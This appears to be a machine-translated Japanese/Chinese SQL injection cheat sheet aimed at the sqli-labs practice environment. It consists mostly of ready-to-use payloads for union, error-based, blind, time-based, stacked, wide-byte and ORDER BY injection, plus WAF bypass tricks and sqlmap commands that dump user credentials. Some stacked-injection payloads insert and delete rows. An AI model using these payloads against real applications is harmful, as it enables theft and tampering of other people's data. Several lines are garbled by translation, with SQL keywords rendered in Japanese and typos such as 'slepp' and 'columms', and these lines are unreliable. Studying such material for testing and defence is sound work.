SQL インジェクションの原則
-
ユーザー制御可能なパラメーター: フロントエンドからバックエンドに渡されるパラメーターの内容は、ユーザーが制御できます。
-
パラメータはデータベース クエリに取り込まれます。渡されたパラメータは SQL ステートメントに結合され、データベース クエリに取り込まれます。
渡された id パラメータが 1' の場合、データベースによって実行されるコードは次のとおりです。
select * from users where id=1'
これはデータベース構文仕様に準拠していないため、エラーが報告されます。受信 ID のパラメータが 1=1 の場合、実行されるステートメントは次のようになります。
select * from users where id=1 and 1=1
1=1 は true であり、where ステートメントの id=1 も true であるため、ページは id=1 と同じ結果を返します。受信 ID パラメーターが and1=2 の場合、1=2 は true ではないため、false が返され、ページは id=1 とは異なる結果を返します。
1. 共同質問
1. 注入ポイントの決定
#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1 #页面运行正常
?id=1' and '1'='2 #页面运行不正常
#数字型判断
?id=1' and 1=1 -- - #页面运行正常
?id=1' and 1=2 -- - #页面运行不正常
注入点注入符号
引号型注入 ' 单引号注入 "双引号注入
混合型注入 ') 单引号加括号注入 ")双引号加括号注入
括号注入 ) 括号注入
デモは文字列インジェクションですが、異なる結果が返されることにより、この Web サイトには SQL インジェクションの脆弱性が存在する可能性があります。
2. クエリフィールド
?id=1'
?id=1' order by 3
?id=1' order by 4
order by クエリデータテーブル内のフィールドの数
id=1' を 3 つずつアクセスした結果は id=1 と同じですが、id=1' を 4 つずつアクセスした結果は id=1 と異なります。
結論: フィールドの数は 3 です
3. エコーポイントを決定する
?id=-1' union select 1,2,3
フィールドの数に基づいてステートメントを構築し、エコーを決定します。
4.基本的なクエリ情報
#查询当前数据库
union select 1,database(),3
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询指定数据库所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#查询指定数据库指定表的指定列的字段值
select group_concat(username,0x3a,password) from security.users
2. エラー挿入
プログラムはエラー情報をページに入力し、エラー挿入を使用してデータを取得します。
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- +
1.substr()関数
substr 関数を使用して出力コンテンツを部分的に読み取ります
substr("123456",1,5) #12345
2. クエリ文
クエリ文はユニオンインジェクションと同じで、エラー報告時に表示される結果は 1 つだけです。
#获取 列的字段数
id=1' union select 1,2,3 #回显 you are in...
id=1' union select 1,2,3,4
#回显 The used SELECT statements have a different number of columns
#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)--+
3. ブールブラインド注入
1.length()関数
データベースの長さを決定します length()
' and length(database())>=1 --+
2.substr()関数
' and substr(database(),1,1)='t' -- +
3.ord()関数
ord() 関数: ASCII コードに変換
' ord(substr(database(),1,1))=115 -- +
4. クエリ文
#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114 -- +
and ascii(substr(database()1,1))=115 -- +
#查询表名
and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1 )='e' -- +
4. タイムブラインド注入
GET インジェクションの場合、id 値自体は true であるため、and 演算子を使用してインジェクションポイントを決定します。
POST インジェクション uname 自体は false です。or 演算子を使用してインジェクション ポイントを決定します。
締め方を決める
and sleep(5) -- -
判定フィールド数 3
order by 3
order by 4
if("式", 条件1, 条件2,) if(1=2,1,0)-->0
if(length(database())>=1,sleep(5),1)
1.sleep()遅延関数
sleep(5) #5 秒間のページ読み込み遅延
if(length(database())>=1,sleep(5),1)
2. クエリ文
#判断数据库名称
and if(length(database())=1,sleep(5),1) -- -
and if(length(database())=1,sleep(5),1) -- -
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1) -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='8LPD9XiO' limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and if(ascii(substr((select group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+
5.スタックインジェクション
';select if(substr(user(),1,1)='r',sleep(3),1)%23
さまざまな時間注入ステートメントを作成することで、完全なデータベース名、テーブル名、フィールド名、および特定のデータを取得できます。
1. クエリ文
#获得MySQL当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
2. ジョイントインジェクションを使用する
#判断注入点 单引号注入
?id=1' and 1=1-- - HTTP/1.1
?id=1' and 1=2-- - HTTP/1.1
#判断字段数目 3
?id=1' order by 3 -- - HTTP/1.1
?id=1' order by 4 -- - HTTP/1.1 #Unknown column '4' in 'order clause'
#判断回显位 2,3
?id=-1' union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1' union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 -- - HTTP/1.1
3. スタックインジェクションを使用してユーザーにデータを挿入します
#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等 ?id=67
----------------------------------------
#插入查询所有表的所有数据,但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));
6. ワイドバイトインジェクション
1. クエリ文
#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量 3
id=1%df' order by 3%23
id=1%df' order by 4%23 #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database())
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select 1,(select group_concat(id,flag) from security.GGXSsnCj),3%23
7. 注文後の注射
①ステートメントを直接挿入、?sort=(select)
②一部の機能を使用します。たとえば、rand()関数などです。?sort=rand(SQL文)
③and を使用します。例:sort=1 and (SQL ステートメント)
④rand(true)とrand(false)の結果が異なるため、このプロパティを使用して注入することができます。
?sort=right(version(),1)
1. エラー挿入を使用する
#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))
2. rand(true) と rand(false) を使用します。
?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)
3. 遅延噴射を使用する
#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +
4. 使用および
#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) -- +
重要なポイント: 一般的な Waf バイパス方法
1.ケースバイパス
そしてそしてまたはまたは
2.二重書き込みバイパス
選択 -----選択選択
そして-----そしてそして
ユニオン-----ユニオンニオン
3. エンコーディングバイパス
16 進エンコード、URL エンコード、ワイドバイト、Unicode エンコード
エンコード形式 | エンコード形式 |
---|---|
URLエンコード | %66%72%20%31%3d%31(そして 1=1) |
Unicode エンコーディング | n%u0069on |
4. スペースバイパス方式
/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d
5. 同等の文字と同等の機能
and or xor のフィルタリング
-
そして => &&
-
または => ||
-
xor => ^
-
ではありません => !
6. 同等の機能
hex()、bin()==>ascii()
concat_ws()==>group_concat()
sleep()==>ベンチマーク()
mid()、substr()==>substring()
@@user==user()
@datadir==datadir()
主なクエリステートメントを要約する
#爆当前数据库
select 1,database(),3
#爆所有数据库
select group_concat(schema_name) from information_schema.schemata
#爆所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#爆部分表数据
select table_name from information_schema.tables where table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#爆字段数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#爆字段值
select group_concat(username,0x3a,password) from security.users
SQLMAPツールの使用
ステップ 1: 注入ポイントがあるかどうかを判断する
sqlmap.py -u "http://localhost/sql/Less-1/?id=1"
ステップ 2: データベースにクエリを実行する
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs
ステップ 3: 現在のデータベースを表示する
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db
ステップ 4: 指定したデータベース内のすべてのテーブルをリストする
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" --tables
ステップ 5: 指定されたテーブルのフィールド名を読み取る
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "セキュリティ" -T users --columms
ステップ 6: 指定されたフィールドの内容を読み取る
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "セキュリティ" -T ユーザー -C ユーザー名、パスワード --dump